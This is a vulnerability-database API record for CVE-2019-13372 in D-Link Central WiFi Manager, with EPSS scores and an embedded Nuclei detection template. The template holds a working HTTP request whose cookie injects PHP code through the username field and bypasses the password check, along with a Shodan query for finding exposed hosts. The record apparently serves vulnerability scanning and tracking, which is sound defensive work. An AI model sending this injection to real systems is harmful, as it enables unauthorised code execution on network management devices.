{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-13372/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-13372/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-13372/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-13372/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-13372/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-13372"},"sightings":{"href":"/api/v1/sightings/cve-2019-13372"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.8249,"kev":false,"percentile":0.9965},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-13372.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-13372\n\ninfo:\n  name: D-Link Central WiFi Manager CWM(100) - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    /web/Lib/Action/IndexAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to execute arbitrary PHP code via a cookie because a cookie's username field allows eval injection, and an empty password bypasses authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code via cookie manipulation, leading to complete compromise of the D-Link Central WiFi Manager and potential access to all managed WiFi networks.\n  remediation: |\n    Update D-Link Central WiFi Manager to version 1.03R0100_BETA6 or later.\n  reference:\n    - https://github.com/unh3x/unh3x.github.io/blob/master/_posts/2019-02-21-D-link-%28CWM-100%29-Multiple-Vulnerabilities.md\n    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117\n    - https://unh3x.github.io/2019/02/21/D-link-%28CWM-100%29-Multiple-Vulnerabilities/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-13372\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-13372\n    cwe-id: CWE-94\n    epss-score: 0.8249\n    epss-percentile: 0.9965\n    cpe: cpe:2.3:a:dlink:central_wifimanager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dlink\n    product: central_wifimanager\n    shodan-query: html:\"D-Link Central WiFiManager\"\n  tags: cve,cve2019,d-link,wifimanager,vkev,vuln\n\nvariables:\n  string: \"{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /index.php/Index/index HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: username=',0,\"\",1,\"0\")%3becho%20\"{{string}}\"%3b//\";password=\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{string}}\"\n          - \"/public/css/\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ba1071b3c97e6d835754f3069ed4cc72967331fe3ac184f37d5b2f9a660286ee022047f87344c1f1459e586d59bdd2ccb99e3667a15b50395b21bc2d7c86013bd82a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-13372"}